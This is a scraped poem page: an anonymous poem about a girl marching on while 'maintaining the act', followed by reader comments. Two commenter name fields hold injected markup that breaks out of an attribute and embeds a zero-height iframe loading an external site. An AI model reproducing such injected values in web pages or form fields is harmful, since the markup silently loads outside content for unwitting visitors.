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I’m better off MAG

By Anonymous

     a drumming beat
rolls through her head
seems screamed aloud
but yet unsaid
she marches on
to her new song
tries to move on
she marches on
“I’m better off
better without
I’m better off
without a doubt.
It is a fact
no looking back
for what I lack
(maintain the act)”
a constant beat
tears through her head
she tries to scream
but nothing’s said
she marches on
her path is long
tears far from gone
she marches on.
“I’m better off
better without
I’m better off
without a doubt
no looking back
for what you lack
I’ll never crack
(maintain the act).”


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on Jan. 16 2018 at 11:03 pm
Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe>, Op, Connecticut
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i love this so much!
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on Dec. 14 2017 at 3:16 am
B"><iframe src=https://concept4u%2Eco%2Eil height="0"></iframe>, Kothrud, Florida
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very nice poem
SallyW. BRONZE said...
on Jul. 3 2016 at 3:34 pm
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Beautiful Poem!
mariyahm-- BRONZE said...
on Nov. 4 2015 at 12:04 pm
mariyahm-- BRONZE, Plaquemine, Louisiana
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I enjoy this poem because the quote “I’m better off better without, I’m better off without a doubt.” This can relate to my life because at times I feel like that if someone don’t have what they want then maybe they don’t have it for a reason. Objects/Material that is wanted is not always needed,so therefore you should get the items that's needed the most and not the items that you want.
justmyexistentialthoughts GOLD said...
on Aug. 29 2015 at 8:32 pm
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This is amazing! I totally relate, in fact I've written something similar if you'd like to check it out
Lanimal SILVER said...
on Aug. 29 2015 at 12:38 pm
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This poem has such great wording and rhythm. Amazing job!
Xandi said...
on Jun. 2 2015 at 10:22 pm
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And a lot of adults would throw a fit.
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on Nov. 15 2014 at 9:31 pm
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this is a really great peom, and you know it would make a great song also!
Princess.Renda GOLD said...
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The flow was great and the wording beautiful. I love it!
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on Mar. 12 2014 at 4:20 pm
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OMG!! that was amazing. Your flow is awesome.. I LOVED IT. <3
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on Oct. 23 2011 at 6:06 pm
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This poem is great! It flows nicely as you read it.
Countrylife4 GOLD said...
on Oct. 8 2011 at 11:01 am
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I do too! I love it!
Jessi_suarez1 GOLD said...
on Aug. 17 2011 at 6:10 pm
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i absolutely love the flow of this poem! good job!
WhatAboutNikki DIAMOND said...
on Jul. 26 2011 at 11:48 pm
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I dont know if you meant to pick song lyrics when you submitted this, but indeed, it's not a sonnet. It IS really fantasic though. I would LOVE to hear it as a song, or just simply, a poem :) Keep creating and writing!!! :D
NoxInviticus SILVER said...
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This is a really nice poem. I love the rhythm and repitition as well. Only thing is...this isn't a sonnet my dear. I would rather suggest submitting this into the song lyrics category. :)
LaurenE. PLATINUM said...
on Jan. 9 2011 at 9:37 pm
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Wow great stuff. The picture kind of creeps me out though....
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on Oct. 13 2010 at 10:27 am
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love the beat to it!

good work

 

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on Aug. 30 2010 at 7:59 pm
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This does have a rythm

a song version with similar inspiration would be fantastic!

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This poem sent an image into my head and i was dancing with it.  It was very moving and understandable. Nice work, keep it UP!
nickp2115 BRONZE said...
on Apr. 28 2010 at 12:44 pm
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this is a cool poem, you could almost sing to it